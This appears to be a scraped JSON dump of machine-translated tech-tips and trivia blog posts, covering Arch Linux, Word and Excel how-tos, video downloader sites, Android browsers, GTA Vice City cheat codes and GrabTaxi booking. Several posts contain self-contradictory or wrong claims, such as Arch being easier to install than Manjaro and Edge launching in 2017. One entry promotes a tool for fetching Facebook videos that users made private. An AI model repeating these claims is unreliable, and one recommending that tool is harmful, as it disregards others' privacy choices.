chimney.\nncG1vNJzZmismaXArq3KnmWcp51ku7DAjJpkrp6fYsGptdJmoKxlpJ2ybq%2FArqqeZZ%2BberW0xGaksqukmr%2Bqu9SsZJukkZi4bq%2FIq5qlnV2eu27Ax55krKOpYrynecCmnKuhk5Y%3D\n","link":"/post/not-a-ufo-this-is-the-cause-of-the-mysterious-black-circle-in-the-sky-of-america/","section":"post","tags":null,"title":"Not a UFO, this is the cause of the mysterious black circle in the sky of America"},{"body":"Today phones are an indispensable thing for each of us, phones help us communicate and exchange jobs more easily. However, do you know the phone, which is a place where bacteria are 10 times higher than bacteria in the toilet?\nAccording to studies, most phone users rarely clean the phone. In an experiment with 192 mobile phones, it was found that 91.7% of the phones were infected and 1 in every 6 infected with the bacteria in the stool. Most of these bacteria originate from your fingers when using the phone. If you don't believe it, the images below will show you how dirty your phone is, and how to clean it properly.\n1. How dirty is your phone?     2. How to clean your phone   3. How to clean the headset   ncG1vNJzZmismaXArq3KnmWcp51kwKaxjKGmsGWUnr%2B1xYyypq6qXaW1sLrEZqCsZZGjsW60zrBkraddmLmmrc1moK1loKe8sbHRpbA%3D\n","link":"/post/see-how-dirty-your-phone-is-and-how-to-clean-it-properly/","section":"post","tags":null,"title":"See how dirty your phone is and how to clean it properly"},{"body":"Arch Linux is one of the most popular Linux operating systems. Arch Linux is even easier to install than Arch-based distributions like Manjaro and Antergos.\nWhether you think about installing each component manually or downloading a built-in Arch-based desktop, here are 10 reasons to choose Arch Linux.\n  10 reasons you should install Arch Linux 1. With Arch Linux, you can freely build your own PC 2. You only run what you need 3. Arch Linux helps users find technical information easily 4. Wait until you try Pacman on Arch Linux 5. The Arch Linux user archive is extremely great 6. Arch Wiki is also very good 7. Say goodbye to system upgrades 8. Arch has little attachment to developers 9. Arch creates a great platform 10. Now you will know everything about Linux 1. With Arch Linux, you can freely build your own PC Among the popular Linux distributions, Arch Linux is very special. Ubuntu and Fedora, like Windows and macOS, are ready to operate immediately after installation. In contrast, Arch Linux challenges you to build your own PC operating system.\nThe installation process is not simply click through the installation window. You will need to know many terminal commands and must choose your own components, such as desktop environment, audio server, whether WiFi is needed, etc. This process can take a long time.\nThe amount of knowledge required makes Arch harder to install than most other distributions. But if you are patient enough, you can succeed.\nFinally, you will have a system that does exactly what you want. And even if you install an Arch-based distribution that provides the default experience, you can still replace the parts you want.\n2. You only run what you need Because Arch allows you to choose your own components, that means you won't have to install a series of software you didn't expect. Ubuntu not only comes with a large number of preinstalled desktop applications, but also has a lot of background services.\nAlthough this number is small compared to the number of applications running in the background on Windows, you may not know all of the processes that are going on.\nBy default, these services not only do not run in Arch Linux, they are not even installed. That means you don't waste resources on additional system processes. You also save Internet bandwidth by not downloading unnecessary updates.\n3. Arch Linux helps users find technical information easily   Many 'ad' distributions are free and easy to use, and are capable of replacing Windows and macOS. These distributions want to attract many different audiences such as students, developers and general users. Therefore, they do not emphasize the information needed to make the system work. They don't hide that information, but you have to know what you want to find and where to look.\nArch does not try to do anything but provide a set of programs that you can combine and create a computer with the desired functions. If you want to know which specific packages are receiving updates or are having problems, look for information on Arch's homepage (link: https://www.archlinux.org/). Each link you click will provide deeper technical information.\n4. Wait until you try Pacman on Arch Linux Pacman is what you use to install packages in Arch, like APT for Ubuntu and DNF for Fedora. However, unlike other distributions, Arch has no other way to provide a graphical alternative to the command line.\nOne advantage of Pacman is that you don't need to enter too many things. The command to install a specific package is:\npacman -S package-name  If you want to download the latest updates for the entire system, enter:\npacman -Syu  Which package manager you use will depend on personal preferences. But you may find that pacman is an ideal choice.\n5. The Arch Linux user archive is extremely great   Arch User Archives is a collection of software from community members. Rather than having to download an application source file yourself and try to figure out how to get things working, AUR will do the hard work. If a Linux program you want to run is not included in Arch's repos, it is likely that it is in the AUR.\nUsing AUR is not immediately intuitive, but there are many ways to make the experience simpler. A tool like Yaourt can help in the command line, and Octopi provides a graphical interface for you.\n6. Arch Wiki is also very good   Even if you don't use the Arch Linux distribution, there are still many reasons to visit the Arch Wiki ( link: https://wiki.archlinux.org/ ). Regardless of which Linux distribution you use, Arch Wiki is still a valuable repository of information.\nBecause Arch uses the same components as most other Linux distributions, the instructions and fixes available on this site are also useful for other distros. If you are not sure which software to install on your computer, see the descriptions presented here. Follow the instructions, read the recommendations and note the possible errors.\nThere may be some differences in distributions and Arch packages, but the site will still help you get in the right direction.\n7. Say goodbye to system upgrades   Most Linux distributions regularly release updates. Some distributions are updated twice a year. Other distros take longer. Arch completely ignored this approach. You install Arch once and download indefinite updates without thinking about upgrading to a new version (called the rolling release model). The same is true for most Arch-based distros.\nThis is a sure way to catch up with the latest Linux software.\nBut some consider this to be Arch's drawback. If you don't pay attention to the updates that are being released, everything may be broken because no one checks the exact configuration of the software running on the computer.\n8. Arch has little attachment to developers Many people use Linux because they don't want a company to determine what they can do on a computer. No matter which Linux version you use, this operating system will have less commercial impact on how your PC works, compared to Windows or macOS. But in the end, distributions like Ubuntu, Fedora and openSUSE still have a close relationship with developers.\nIf you use an Ubuntu-based distribution, your desktop experience is still affected by the decisions Canonical makes. With Fedora and openSUSE, this constraint is greatly reduced. But if you expect more, choose a community-only distribution like Arch.\n9. Arch creates a great platform   Do you want to have trouble installing Arch Linux? Consider Manjaro and Antergos. Both of these tools provide a simple installation process and choose the default experience for you. At the same time, you get Arch privileges to be great, like accessing AUR and updating releases.\nSome Arch-based distros keep KISS (Keep It Simple, Stupid), a meaningless approach. Chakra Linux is the favorite way of many people to use KDE. Initially, Chakra Linux is based on Arch and you still get a lot of non-technical information in Arch's documentation.\n10. Now you will know everything about Linux When installing Arch, you'll know what makes a Linux distribution. Even if you choose an alternative Arch-based distribution, you still have to pay much attention to the updates you download. This is the nature of using a release release in the form of rolling release.\nHowever, the knowledge you gain from installing and managing updates is still useful even when you switch from Arch to another distribution.\nInstalling Arch is a great way to learn about Linux without having to take any course.\nThe above is one of the many benefits of Arch. Why don't you choose a distribution or an Arch-based alternative easier and let people know about your experience?\nncG1vNJzZmismaXArq3KnmWcp51kwKm71KWbZqFdnru0wMClo2aZopi1brjIp6yx\n","link":"/post/should-i-install-arch-linux/","section":"post","tags":null,"title":"Should I install Arch Linux?"},{"body":"In the history of human development, many mysterious characters appear in special events and become famous. But some of them cannot identify themselves and become the great mystery of humanity.\nHere are some famous mysterious characters in history that have not been identified.\nTank Man - The person blocking the tank\nOn June 5, 1989, in the Tiananmen Square conflict, when tanks attacked the pro-democracy protesters, a fearless man stood in front of a car. When the front tank tried to move, he refused to leave but climbed one of the tanks to stop them.\n  This courageous act was recorded by Jeff Widener, the photo editor of Associated Press and voted by magazine TIME as one of the 100 iconic photos of history.\nThe brave man seemed to be just an ordinary person, unarmed with two bags in his hand. The action of this mysterious man becomes a symbol of human resistance in the face of oppression and violence.\nSo far, actually the men's tank block is still a mystery.\nBabushka Lady - Lady Babushka\nIn many pictures recorded the assassination of US President John F. Kennedy in 1963 there was the appearance of a woman wearing a Babushka scarf of Russian women (so they called her Lady Babushka ).\n  The woman holds a camera and continues to capture the whole scene while everyone is panicking, fleeing because the President is shot dead in his car. Many believe that the Babushka lady may have captured the whole scene of the assassination, becoming one of the most famously famous witnesses of John F. Kennedy's assassination.\n  After that, the US Federal Bureau of Investigation (FBI) issued a public notice asking this woman to hand over the image she had taken, but she never showed up and so far no one knows the name. this woman's character.\nThe Falling Man - The falling man\nOn September 11, 2001, the Al-Qaeda Muslim terrorist group attacked the Twin Towers (United States). This is the worst attack in US history, claiming the lives of 2,996 people, injuring over 6,000 people and causing total losses of more than 3 trillion dollars.\n  Some people do not tolerate the heat of fire that sowed themselves to the ground to accept death. Richard Drew took a picture of a man falling from a tall tower. The photo was named The Falling Man and was voted 1 of 100 most influential images in the world by TIME magazine.\nThis person's identity cannot be identified among many victims that day. The man is a true image of the aftermath of the 9/11 attacks and has become a symbol of the struggle of the civilized world against terrorism.\nSurvivors of the 9/11 terrorist attacks are more likely to suffer from heart and lung disease Immortal Beloved - Beethoven's lover\nBeethoven, the legendary composer, wrote a 10-page letter with affectionate words like \"My angel, my all, my very self\" - My Angel, my life, all my own, to for a mysterious woman with the pseudonym \"Immortal Beloved\" (Immortal lover).\n  From the words in the letter, it was clear that the two had been in love for quite a long time, but they probably did not communicate regularly and could not live together.\nThe identity of the woman whose genius composer falls in love becomes a search topic of many fans around the world, but so far has not been clarified.\nDancing Man - People dancing\nIn 1945, when World War II ended, it was recorded a man dancing in a happy mood, excited on the streets of Sydney, Australia.\nAfter that, the image of \"Dancing Man\" is very pervasive and becomes a symbol of the desire for peace and happiness after the end of the war. But until now, no one knew the true identity of this man.\nThe man put flowers on the gun\nIn 1967, during a protest against the Vietnam War in front of the Pentagon headquarters, US photographer Bernie Boston captured a picture of a man putting a flower in a soldier's gun. .\n  \"Flower Power\" is a photo of historical significance and became a symbol of the anti-war movement of the 1960s.\nSee also: Who are the 12 real characters behind the cards \"J, Q, K\" in the West deck?\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJ%2BYpqelqHquxdKtnKuhn6rAbrLIoKyrnaNitq95x6KqraeirnqprdWeZKenpGKvprHNZqCdnZ6ptqe1xJ1krqaknrluwM6dmLI%3D\n","link":"/post/the-famous-mysterious-figures-in-history-have-not-been-identified-until-today/","section":"post","tags":null,"title":"The famous mysterious figures in history have not been identified until today"},{"body":"When composing document content in Word, to clarify the content, you can insert images into Word, or insert charts into Word depending on the content required. In addition to performing content, inserting images also adds art to the document. Images when inserted can change the display position compared to the text to fit the display layout more, or according to the presentation of each person. Usually when inserting an image into Word, the image will be placed under the text immediately at the position of the mouse. However, in addition to the default position, you can move the image inserted in the middle of some text, or the image is below the text, . The following article will guide you how to read the alignment. place images in Word.\nHow to separate a background from a picture in Word How to hide images in Microsoft Word for easier reading How to insert a 3D model into Word Ways to rotate images in Word Method 1: Position the Word image with Position The Position option in Word has different positions for us to choose where to display the image with the text.\nWe click on the image and then click the Format tab , select Position and then select the image display position for the text.\n  For example, I will choose a new position for the image to split the text as shown.\n  To expand the position of the image selected by the More Layout Options .\n  \nDisplay Layout view, click the Text Wrapping tab and select a new display position for the image.\n  \nIn case we want to return the image to the original default position , click on the image and select In line with Text as shown below.\n  \nMethod 2: Move the image in Word with Wrap Text We also click on the image and select the Format tab . Then click the Text Wrapping item to select the display location for the image. Some commonly used locations for images such as:\nIn the Line with Text: Display as a character format. Square: Text will surround the image you have inserted. Top and Bottom: Images are separated from above and below In Front of Text: Image overlays text. Behind Text: The image is under the text. In each location, there are illustrations to help users easily visualize.\n  \nMethod 3: Use Align to edit images in Word Click on the image, then click on Home, then look at the Paragraph group and select the center, left, right for the image.\n  \nSo you have 3 different ways to change the position of the inserted image in Word. If you want to display more artistic photos more nicely, then use the first two options. The third way is relatively simple, just move the image to the right, left is done.\nI wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51kxKLF0marqGWdpMOmecimmKCdXaW8tLXToqanZZmjeri70Z0%3D\n","link":"/post/ways-to-move-image-position-in-word/","section":"post","tags":null,"title":"Ways to move image position in Word"},{"body":"Do you want to download videos from the Internet? If you see a video you like on Facebook, YouTube, Vimeo or any other top video site, you may want to download a copy to keep it forever.\nThankfully, downloading videos from the Internet is extremely easy. And here are free ways to download any video from the Internet.\nDownload any video from the Internet with the following tools: Tools dedicated to applications 1. SaveFrom.net 2. FastestTube 3. DownloadTwitterVideo.com 4. Instagram Downloader 5. FBDown.net 6. FB Down Private  Download Internet videos with the web application 7. KeepVid.com 8. VideoGrabby.com 9. YooDownload.com 10. ClipConverter.cc 11. OnlineVideoConverter.com  Download Internet videos with the desktop application 12. VLC Media Player 13. VideoGrabber.net 14. FLVTO.biz  Screen recorder tool 15. Open Broadcaster Software 16. CamStudio  Tools dedicated to applications This section talks about how to download videos for specific websites, and general ways are available later in the article. Let's start with some specific service-specific web applications.\n1. SaveFrom.net   SaveFrom is a tool to download YouTube videos, but there is a difference. If you are watching a video online and want to save it, just enter ss first from YouTube on the URL. This is a web trick to download videos.\nFor example:\nhttps://www.youtube.com/watch?v=aS01LwpC23g\nWill become:\nhttps://www.ssyoutube.com/watch?v=aS01LwpC23g\n2. FastestTube This is another free YouTube video downloader, arguably the simplest on today's list. FastestTube (kwizzu.com) is a browser extension, adding a physical download button to YouTube. You can find it in the lower right corner of the video.\nFastestTube works on Chrome, Firefox, Safari, Opera and Internet Explorer.\n3. DownloadTwitterVideo.com   Keep abreast of the premise of dedicated web-based tools, DownloadTwitterVideo lets you grab any video from Twitter's popular social network.\nPaste the URL of the tweet containing the video you want, then choose whether you want to save it as MP3, MP4 or MP4 HD.\n4. Instagram Downloader Link reference: https://www.downloadvideosfrom.com/Instagram.php\nInstagram has built up a reputation as a photo sharing service, but the birth of Instagram Stories has helped this social network play another role, replacing Vine. Instagram Downloader allows you to download Instagram videos to your device easily.\n5. FBDown.net   FB Down is a tool for downloading videos from Facebook. FB Down also comes with extensions for Chrome, which means you don't need to leave the social networking homepage, if you find something you want to save.\n6. FB Down Private Link reference: https://www.fbdown.net/private-downloader.php\nFB Down Private is a small part of FB Down, but it deserves to be mentioned in this article. The app allows you to get videos from accounts that users have made private, even if you can't watch the video on Facebook.\nTo download private videos on Facebook, visit the video page, press CTRL + U to view the source code, then paste the code into the FB Down Private downloader.\nDownload Internet videos with the web application When reviewing this section of the list, you will notice a topic that often repeats. That is, most video downloaders work only with the same group of websites.\n7. KeepVid.com KeepVid supports 28 websites. KeepVid includes educational resources like Lynda, a number of news sources such as ABC and NBC, and many popular entertainment websites like Ebaumsworld and Break. Unfortunately, KeepVid no longer allows you to download YouTube videos anymore.\nOnce you have copied and pasted your link to the website, you can choose to save your downloaded file in more than 150 different formats.\n8. VideoGrabby.com   VideoGrabby is an easy-to-use web application that allows you to download videos from the Internet. VideoGrabby supports most of the most popular video websites. Just type the link and press Go to finish!\n9. YooDownload.com YooDownload is another competitor with KeepVid and VideoGrabby. It works with YouTube, Vimeo, Facebook, Twitter, Instagram, Vid.me and SoundCloud.\n10. ClipConverter.cc   ClipConverter works with almost any website you can think of (except popular online subscription services). ClipConverter can even take videos from the world's largest social network MySpace!\nDevelopers also provide additional browser add-ons for Chrome, Firefox and Safari.\n11. OnlineVideoConverter.com   Because many web applications on this list are very similar, you can consider adding one more application.\nOnlineVideoConverter works with YouTube, LiveLeak, TeacherTube, VK, College Humor, etc.\nDownload Internet videos with the desktop application Sometimes, using desktop applications is better than using web applications. The desktop application can provide many features that other web applications cannot do. And these are the best desktop applications to download videos from the Internet.\n12. VLC Media Player Clearly, VLC does more than just download videos. The beauty of using VLC is, this is a program that many users have installed on the machine and can use without the need for third-party applications.\nStep-by-step instructions are beyond the scope of this article, but you can find more information in the article: 10 interesting hidden functions of VLC Media Player.\n13. VideoGrabber.net Video Grabber has three main features: Download videos, convert videos and record screens. Although it initially looked like a web application, Video Grabber is really a desktop program.\nVideo Grabber's screen recording feature can be really useful in some situations.\n14. FLVTO.biz   FLTVO has a web application and has a desktop version. The desktop version allows you to queue up videos to be downloaded from multiple sources and automatically download new videos as they become available.\nScreen recorder tool The article will end the list with a pair of screen recording tools. These tools allow you to record anything that is playing on your computer, turning them into a good solution when you have used up all the other possibilities, but do not achieve the desired results.\n15. Open Broadcaster Software   OBS studio is undoubtedly the best free screen recorder application on the web. It is available on Windows, Mac and Linux and includes a powerful editing tool.\n16. CamStudio CamStudio does not have the same interface as OBS and does not have many features, but it is simpler to use. Therefore, CamStudio is perfect for those who just want to do a simple operation: Click the Record button and don't need to bother anymore.\nTipsMake.com mentioned these two tools in more detail in the article: High quality Windows screen capture software.\nPlease remember that all the tools listed in this article are for creating free online video records for personal use. They should not be used to store and distribute copyrighted material; Doing so may cause you serious legal trouble.\nIf you want to learn more about downloading videos from the Internet, see TipsMake.com's detailed article on how to download Instagram videos and how to download videos from DailyMotion.\nWish you find the right choice!\nncG1vNJzZmismaXArq3KnmWcp51kfnd5xaucnmWnlsa0edOoZJ2np6O5sK3DZpinsV2rtqWxzmadq6edYsGpsYyipa2doqOytQ%3D%3D\n","link":"/post/16-free-ways-to-download-any-video-from-the-internet/","section":"post","tags":null,"title":"16 free ways to download any video from the Internet"},{"body":"Google Chrome may be the most popular browser available today, but not the best.\n1. Mozilla Firefox Firefox is one of the best alternatives if you want to limit Google apps and services.\nLaunched in 2002, Firefox has undergone many changes at present, focusing heavily on improving user privacy. The browser has a friendly and beautiful interface, well-distributed functions, and a rich repository of extensions.\nBesides, Firefox also integrates many security features, protecting users from malware, trackers .\n  2. Opera Opera is one of the most popular browsers on mobile phones, featuring its ability to save data (data) and load pages quickly. Comes with it are ad blocking, VPN and a rich extension store.\nOpera's fast page loading speed is undeniable, however, in terms of speed, Opera is still a bit behind Google Chrome, but this browser uses relatively little RAM, making the phone work. smoother. Opera combines the best features of Mozilla Firefox and Google Chrome.\n  3. Vivaldi Vivaldi was first released in 2016, created by an earlier CEO of Opera. This browser allows you to change the look, fonts, colors . Vivaldi has a relatively fast speed, while still using 20% ​​less RAM, so it is not difficult to understand when users switch to use. Vivaldi application.\n  4. Microsoft Edge First launched in 2017, Microsoft Edge was initially only available to Windows users, with poor display quality and many problems. However, in 2018, Microsoft decided to use open source Chromium (similar to Google Chrome).\nThe first open source Chromium version was released in January 2020 and has quickly become the fastest browser on the market. The interface is simple, the features are reasonably distributed, and especially the speed far exceeds today's browsers. Since Edge was developed on the same source code as Google Chrome, its security standards don't differ too much.\n  5. Samsung Internet The Samsung Internet browser is available for free on Google Play (available by default on Samsung devices). This is one of the best options to replace Google Chrome, Firefox .\nThe strong point of Samsung Internet is its simple interface, customizable news feed, ad blocking . and low battery consumption.\n  6. Brave Brave focuses primarily on improving privacy, ad blocking, and trackers. According to a recent study, the browser has 6 times faster page load speed than its competitors, accompanied by a virtual wallet to store cryptocurrencies.\n  ncG1vNJzZmismaXArq3KnmWcp51kg26uxKyrZpmemb%2BwtcNmmaunp6iys7%2BMoqVmamBnfg%3D%3D\n","link":"/post/6-best-android-browsers-in-2021/","section":"post","tags":null,"title":"6 best Android browsers in 2021"},{"body":"Grand Theft Auto: Vice City is the fourth game released in the Grand Theft Auto series and, although released in 2002, it is still one of the most popular games in the series.\nIn the game, players are brought back to the 1980s when they connect with low-level criminals and members of organized crime communities in Vice City, based on Miami in reality.\nWhile many people are trying to reinstate a video game without any help, many people don't have the patience to do so without the help of cheat codes. The Grand Theft Auto: Cheats Vice City and cheat codes are a great place to start if you are struggling to overcome a certain mission.\nSo, before being completely disappointed, read the following GTA cheat codes and the awesome GTA: Vice City game guide. You may have missed out on Easter eggs and other great content the first time you played.\nDetailed GTA tips and codes are only for the PC version of the game. Detailed cheat includes people who help you in the game with health, weapons, and vehicles added to the game as usual.\nCheat codes are also available for other games in the Grand Theft Auto series, including Grand Theft Auto 3 and Grand Theft Auto San Andreas.\nCode for the game Grand Theft Auto: Vice City For the desired effect, enter the cheat code GTA: Vice City listed in bold letters at any time during play. If a cheat is enabled, re-entering the code will disable it.\nNote : Some GTA Vice City cheats cannot be turned off after being turned on.\nCode cheat Health, Weapons\nStrengthen power, energy and protection.\nCheat Code\nEffect\nASPIRINE\nThe healthiest\nCANTTAKEITANYMORE\nSuicide character\nTHUGSTOOLS\nPull weapons\nPROFESSIONALTOOLS\nProfessional weapons\nNUTTERTOOLS\nHeavy weapons\nPRECIOUSPROTECTION\nFull armor\nYOUWON'TTAKEMEALIVE\nIncrease the level of wanted\nLEAVEMEALONE\nReduce the level of wanted\nCode cheat car Spawning\nAdd some pizza to your drive.\nCheat code\nEffect\nPANZER\nAdd a tank\nTRAVELINSTYLE\nAdd a Bloodring Banger\nGETTHEREQUICKLY\nAdd a fast Bloodring Banger\nGETTHEREVERYFASTINDEED\nThe car is faster\nGETTHEREAMAZINGLYFAST\nThe car is faster\nTHELASTRIDE\nAdd Romero's hearse\nROCKANDROLLCAR\nAdd a limo\nBETTERTHANWALKING\nAdd a caddy\nGETTHEREFAST\nAdd a Saber Turbo\nRUBBISHCAR\nAdd a dump truck\nGTA code of other means\nCustomize cars according to your preferences.\nCheat code\nEffect\nBIGBANG\nDestroy the whole car\nWHEELSAREALLINEED\nStripping off the car\nCOMEFLYWITHME\nVehicles can fly\nGREENLIGHT\nAll traffic lights are green\nMIAMITRAFFIC\nTraffic moves faster\nIWANTITPAINTEDBLACK\nBlack traffic\nSEAWAYS\nThe car floats on the water\nGRIPISEVERYTHING\nImprove automotive handling\nAHAIRDRESSERSCAR\nPink car\nLOADSOFLITTLETHINGS\nChange the wheel size\nGeneral GTA cheat code for the game\nPlay the game in the style you like.\nCheat code\nEffect\nAPLEASANTDAY\nGood weather\nALOVELYDAY\nGreat weather\nABITDRIEG\nCloudy weather\nCATSANDDOGS\nRain\nCANTSEEATHING\nFog\nLIFEISPASSINGMEBY\nSpeed ​​up the game\nSTILLLIKEDRESSINGUP\nChange of pedestrian clothes\nFIGHTFIGHTFIGHT\nWalker\nNOBODYLIKESME\nPedestrians attack you\nOURGODGIVENRIGHTTOBEARARMS\nPedestrians have weapons\nONSPEED\nGo faster\nBOOOOOORING\nGo slower\nCHICKSWITHGUNS\nWomen wearing bikinis with guns\nCHASESTAT\nSee wanted statistics\nFANNYMAGNET\nTommy groupies\nCERTAINDEATH\nTommy started smoking\nDEEPFRIEDMARSBARS\nTommy is fat\nPROGRAMMER\nTommy has skinny arms and legs\nHOPINGIRL\nPeople walking into your car\nCHEATSHAVEBEENCRACKED\nPlay with Ricardo Diaz\nLOOKLIKELANCE\nPlay with Lance Vance\nMYSONISALAWYER\nPlay with Ken Rosenberg\nLOOKLIKEHILARY\nPlay with Hilary King\nROCKANDROLLMAN\nPlay with Love Fist (Jezz Torent)\nWELOVEOURDICK\nPlay with Love Fist (Dick)\nONEARMEDBANDIT\nPlay with Phil Cassidy\nIDONTHAVETHEMONEYSONNY\nPlay with Sonny Forelli\nFOXYLITTLETHING\nPlay with Mercedes\nUnlock / Easter Eggs in Grand Theft Auto Vice City game\nFree add cheat code!\nSecret car of GTA Vice City\n\u0026nbsp;\nCar name\nHow to get\nBP / DP / EP / FP / PP Admiral\nThis car is bulletproof, impact resistant, explosion-proof, fire-proof and has a puncture-proof tire.To obtain this vehicle, you must steal it from Diaz during the Guardian Angels mission.To do this, shoot all Haitians and allow one to escape.Diaz will leave the car door unlocked for you to enter.There is another variant of this car with locked doors.During the same mission Guardian Angels, shoot all Haitians and then shoot Diaz in the head as he sits in the car.\nRomero's Hearse\nTo get this car, you have to shoot continuously to make the driver run but don't blow up the car.Players can find this car in the garage.This is done in Avery's Two Bit Hit mission.\nLove Fist Limo\nThis limo is available in Love Fist missions, complete the quest and you will get the limo.\nSpand Express\nThis truck is available in Jury Fury missions and can be stolen after crashing into a vehicle in the mission.\nBP / FP / EP Saber Turbo\nThe bulletproof, fireproof and explosion-proof Saber Turbo car is available in the Malibu The Driver mission.There are many ways to get this car, but the most popular is to end the race beside the Saber Turbo.The driver, Hilary, will disappear and the car can be pushed back to the garage to unlock the door.\nFP / PP / LD Banshee, Cheetah and Infernus\nBanshee's fireproof, puncture-resistant tires and locked door versions are available inTerminal Velocitymissionsas well as all street races.To get this car, you have to complete the race next to Banshee, then shoot at the driver to force him to flee.This method is also made to take the Cheetah and Infernus cars.\nSee more:\nGeneral cheat code game Grand Theft Auto: The Ballad of Gay Tony Summary of GTA cheat codes for Street Pirates IV game Code of Grand Theft Auto: San Andrea's code ncG1vNJzZmismaXArq3KnmWcp51ksLC4y56araGfo3qwsoygqZqmlGLBqbHFrWSaraSkere1wp5knKGkrnqorcyeZJynlJrA\n","link":"/post/collection-of-grand-theft-auto-vice-city-game-codes/","section":"post","tags":null,"title":"Collection of Grand Theft Auto: Vice City game codes"},{"body":"The DSUM function in Excel is a fairly common function with a fairly simple usage. But if you do not know how to use the DSUM function, you can refer to the following article to better understand the DSUM function and examples of how to use the DSUM function in Excel.\n  The following article will share to you the description, syntax and usage examples of DSUM, please follow along.\nDescribe the DSUM function The DSUM function is a function that adds numbers in a field (column) in a data list that satisfy the conditions you specify.\nSyntax of the DSUM function = DSUM (database; field; criteria)\nInside:\nDatabase is a required argument, this is the list (database) made up of a cell range. This data list is a list of data that is records and columns of data are fields, containing fields for checking conditions and fields for summing. The list contains the first row as column headings. Field is a required argument, which specifies the column name used to sum the data. You can enter the column header name in quotes or a number representing the position of the column in the list without quotes (for example, number 1 is the first column, number 2 is the second column . in database ) or a reference to the column heading you want to sum. Criteria is a required argument, this is the range of cells containing the conditions that you want the DSUM function to check. Notice the range of criteria conditions\nYou can use any range for the criteria argument if the range contains at least one column label and at least one cell below the column header that determines the condition for that column. Don't put the range of conditions at the bottom of the list, because there won't be a place to add other information to the list. DSUM function example Suppose you have the following data table:\n  1. Calculate the total amount sold of iPhone products. First, you can create a conditional range for the DSUM function, because you need to count the iPhone products that have a lot of iPhone lines, the condition you enter the wildcard is the * after the iPhone.\n  Next, you enter the DSUM function formula as follows:\n= DSUM (A9: E18; \"Thanh Tien\"; C4: C5)\nInside:\nA9: E18 is the database range here that contains the column to be calculated and the column that contains the conditions to check. 'Pay Money' is the column heading where you will use the values ​​in that column to calculate the total. C4: C5 is a range of conditions containing column headings and a condition value.   Or you can change the value in Field to refer to the column heading Thanh Tien as follows: = DSUM (A9: E18; E9; C4: C5) your results are the same as above.\n  2. Calculate the total amount sold for products with a Quantity greater than 3. You first create a conditional range with the heading Sales Quantity column , and the condition value is\u0026gt; = 3.\n  Next you enter the formula DSUM function:\n= DSUM (A9: E18; E9; C4: C5)\nInside:\nA9: E18 is the range of databases you will work on. E9 is the reference to the column header to be summed. C4: C5 is the criteria condition range with the Sales Quantity column heading and the condition is\u0026gt; = 3.   Above the article has shared to you the description, syntax, specific examples of the DSUM function in Excel. You can use the DSUM function to process data as needed. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ksbTBzGadrqaTqbawuoyipWadqJiyrXnHqK5mrJ9iwrSxjJ2qrqVdm8Kvr9OipqdlkaOxbrHXmqSppJWo\n","link":"/post/dsum-function-in-excel-how-to-use-dsum-function-and-examples/","section":"post","tags":null,"title":"DSUM function in Excel, how to use DSUM function and examples"},{"body":"On Google's online store, Pixel 4A 5G and Pixel 5 are both sold out. At retail stores, these two products are also only a few units left.\n'We anticipate Google stores in the US will sell out of Pixel 4A and Pixel 5 in the next week after Pixel 5A is launched. They are still sold through some in-stock partners,' a company spokesman said.\nWhen the Pixel 5A 5G phone appeared, it was not surprising that the Pixel 4A 5G was discontinued. However, it is somewhat unusual for the company to stop making the Pixel 5 before the Pixel 6 arrives this fall.\n  Probably because the Pixel 5 has more in common with cheaper A-series phones than the Pixel 6 and 6 Pro. Google positions the Pixel 6 series as a competitor to Apple and Samsung.\nWhile the Pixel 5 offers upgraded features like wireless charging and robust IP68 water resistance - not available in the A series - it can't compete with the iPhone 12 Pro and Galaxy S21s.\nOr this is simply the way Google wants to do it. The company also stopped selling the Pixel 4 and 4 XL less than a year after its launch. However, the Pixel 4A LTE (in blue) is still on sale for $349.\nncG1vNJzZmismaXArq3KnmWcp51ktLC7xqWcZqukpL20ec%2Brpp2tk6m2sLqMqJ1mqJmtsq15lA%3D%3D\n","link":"/post/google-stops-production-of-pixel-5/","section":"post","tags":null,"title":"Google stops production of Pixel 5"},{"body":"In Grab's car calling services, in addition to GrabCar, the company has also developed GrabTaxi with the aim of linking taxi drivers of taxi companies in Vietnam, quickly meeting customers' needs. Unlike GrabCar, users taking GrabTaxi are charged according to the list price of traditional taxi firms, and the payment amount is displayed on the company's electronic clock.\nSo is GrabTaxi car booking different from when booking GrabTaxi? The following article will guide you how to call online cars on GrabTaxi.\nHow to use Grab Call to GrabCar How to register as a motorbike driver GrabBike Instructions on how to use Grab to call GrabBike Instructions for calling GrabTaxi cars online Grab download for iOS Download Grab for Android Step 1:\nFirst, you also log into the Grab application via Facebook, Google or personal phone number. Next in Grab's interface click on the green circle icon to enter your current location.\n    Step 2:\nEnter the current location and then click on the red icon to enter the location that the user wants to visit. The locations you frequently move will be saved by the app to your location search list.\n   Step 3:\nNext, the user will select the type of media you want to use. Here we will click on GrabTaxi .\n   Step 4:\nUsers will receive how much you pay. With GrabTaxi car service, the cost we pay on the interface is just the estimated price, not the official price. The amount will be displayed correctly on the watch when you move.\nClick the Book button to book GrabTaxi. The application will also search for drivers near you. When the driver receives the trip, it will also display the name of the driver with the image for the user to know.\n   Step 5:\nIn case the user wants to cancel the ride, click on the driver's name . Then click on Cancel Booking button.\n   Step 6:\nNow the application will ask if you are sure you want to cancel the booked trip, click Cancel Anyway to be sure to cancel the trip. The application will ask the user to choose the reason for canceling the booked ride. Select the reason then click Submit below. Upon successful cancellation you will receive a notification of the canceled ride from the application.\n    GrabTaxi's booking method is similar to other services, but the amount that users pay will depend on the meter that is similar to when you take a taxi. The price per kilometer of travel will be calculated according to the cost of different taxi companies linked to Grab service.\nSee more:\nHow to register for Mai Linh taxi driver How to call Mai Linh taxi on the phone How to find Grab trips with invoices I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuRoblus9Gama2ZqJ56sLrLoqWe\n","link":"/post/how-to-call-grabtaxi-online/","section":"post","tags":null,"title":"How to call GrabTaxi online"},{"body":"DPI stands for Dots per inch, the term for screen resolution, pixel density per square inch. DPI is available on phones, tablets, or desktops. Typically, manufacturers will set a certain DPI defaults for each device.\nHowever, it is possible that users who are not satisfied with the manufacturer's default pixel density can customize DPI on the phone to display more content. The following article will show you how to customize DPI on smartphones simply without having to root your Android phone.\nWays to take screenshots on Android phones Instructions to turn off screen overlay on Android 6.0 Marshmallow Instructions for checking the origin of Android and iOS phones How to adjust DPI index on the phone We will have 2 ways to customize DPI on the phone, based on the features available on the device or developer mode.\nMethod 1: Features to adjust DPI on Android 7.0 If your device has been 